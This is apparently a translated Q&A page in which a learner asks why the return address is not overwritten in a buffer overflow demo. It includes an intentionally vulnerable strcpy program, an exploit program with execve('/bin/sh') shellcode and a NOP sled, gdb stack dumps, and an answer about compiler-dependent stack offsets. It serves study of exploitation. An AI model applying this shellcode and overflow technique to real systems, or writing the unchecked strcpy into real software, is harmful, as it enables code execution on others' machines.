c - 缓冲区溢出 shellcode 覆盖错误地址
问题描述
注意:这是我在此处的原始帖子的修改版本,但提出了一个稍微不同的问题。
我正在浏览有关缓冲区溢出的视频,但在复制演示时遇到了一些问题。问题似乎是当我执行溢出时,预期的返回地址没有被覆盖。
据我了解,预期的返回地址应该是0x7fffffffe060
.
这种内存地址格式与我在演示等中看到的不同。这里可能有问题吗?
gcc
命令 -gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=4 -o Output Output.c
我可以看到 shellcode 被引入堆栈,但它比我期望的位置低一个“行”或内存地址。
期望,用我的shellcode:
0x7fffffffe060: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
实际结果:
0x7fffffffe060: 0xffffe1a8 0x00007fff 0xffffe096 0x00000002
0x7fffffffe070: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
为什么目标返回地址0x7fffffffe060
没有被覆盖0x7fffffffe070
?
ExploitMe.c
#include<stdio.h>
#include<string.h>
main(int argc, char **argv)
{
char buffer[80];
strcpy(buffer, argv[1]);
return 1;
}
HackYou.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3"
"\x99"
"\x52"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80"
;
char retaddr[] = "\x60\xe0\xff\xff\xff\x7f";
#define NOP 0x90
main()
{
char buffer[96];
memset(buffer, NOP, 96);
memcpy(buffer, "EGG=", 4);
memcpy(buffer+4, shellcode, 24);
memcpy(buffer+88, retaddr, 4);
memcpy(buffer+92, "\x00\x00\x00\x00", 4);
putenv(buffer);
system("/bin/sh");
return 0;
}
(gdb) run $EGG
(gdb) x/24xw $rsp
0x7fffffffe060: 0xffffe1a8 0x00007fff 0xffffe096 0x00000002
0x7fffffffe070: 0x00000001 0x00000000 0xf7e939b5 0x00007fff
0x7fffffffe080: 0x00000000 0x00000000 0x555551bd 0x00005555
0x7fffffffe090: 0xf7fe42a0 0x00007fff 0x00000000 0x00000000
0x7fffffffe0a0: 0x55555170 0x00005555 0x55555050 0x00005555
0x7fffffffe0b0: 0xffffe1a0 0x00007fff 0x00000000 0x00000000
(gdb) c
Continuing.
(gdb) x/24xw argv[1]
0x7fffffffe4c4: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
0x7fffffffe4d4: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090
0x7fffffffe4e4: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe4f4: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe504: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe514: 0x90909090 0xffffe060 0x5f534c00 0x4f4c4f43
(gdb) x/34xw $rsp
0x7fffffffe060: 0xffffe1a8 0x00007fff 0xffffe096 0x00000002
0x7fffffffe070: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
0x7fffffffe080: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090
0x7fffffffe090: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe0a0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe0b0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe0c0: 0x90909090 0xffffe060 0xf7e14b00 0x00007fff
0x7fffffffe0d0: 0x00000000 0x00000000 0xffffe1a8 0x00007fff
0x7fffffffe0e0: 0x00040000 0x00000002
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e14b0d in __libc_start_main (main=0x555555555135 <main>, argc=2, argv=0x7fffffffe1a8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe198) at ../csu/libc-start.c:310
310 ../csu/libc-start.c: No such file or directory.
解决方案
我没有看过您的视频,但您使用的方法高度依赖于编译器版本、编译选项甚至操作系统版本。如果您缺少目标,很可能是因为调试选项 (-g)。调试选项通常会导致编译器安装可靠的堆栈帧,以便调试器可以可靠地遍历调用堆栈。
在您的示例中,您期望返回地址是缓冲区地址的 92 个字节,或者缓冲区末尾的 3 个堆栈地址。因此,如果您反汇编 ExploitMe.c:main(),序言会是什么样子?压入了多少寄存器,从 rsp 中减去了什么?
在(ubuntu 18,gcc 7.3)上,我得到 1 push 并减去 96,因此返回地址位于缓冲区的偏移量 104 处;保存的堆栈指针位于偏移量 96。当我将 -ggdb 替换为 -O 时,我在偏移量 88 处得到返回地址 [所以 92 将是中间字节或最重要的字节],并且没有保存的堆栈指针。
就像评论者指出的那样,如果您要利用无证行为,您必须能够适应。
推荐阅读
- python - 熊猫删除行,除非另一个数据框中两列的字符串
- python - 多处理工作人员不会开始下一项工作
- amazon-web-services - 我们如何在基于 arm 的 Eks 集群 t4g 实例上部署节点 js 应用程序
- angular - 角材料底片向下拖动关闭
- php - 如何使用 roblox 图像 API 在 php 中显示来自 url 参数的图像?
- c++ - 如何在 Windows 10 上设置 Codeblocks 项目以编译和链接静态 SFML 项目?
- google-apps-script - 通过 Google 应用脚本创建的触发器显示禁用警报
- binary-search-tree - 当二叉搜索树有 n 个节点时,最可能的高度是多少?
- swiftui - 列表行分隔符可见性设置不起作用?Xcode 13
- angularjs - 使用业力运行测试时出现间歇性断开消息错误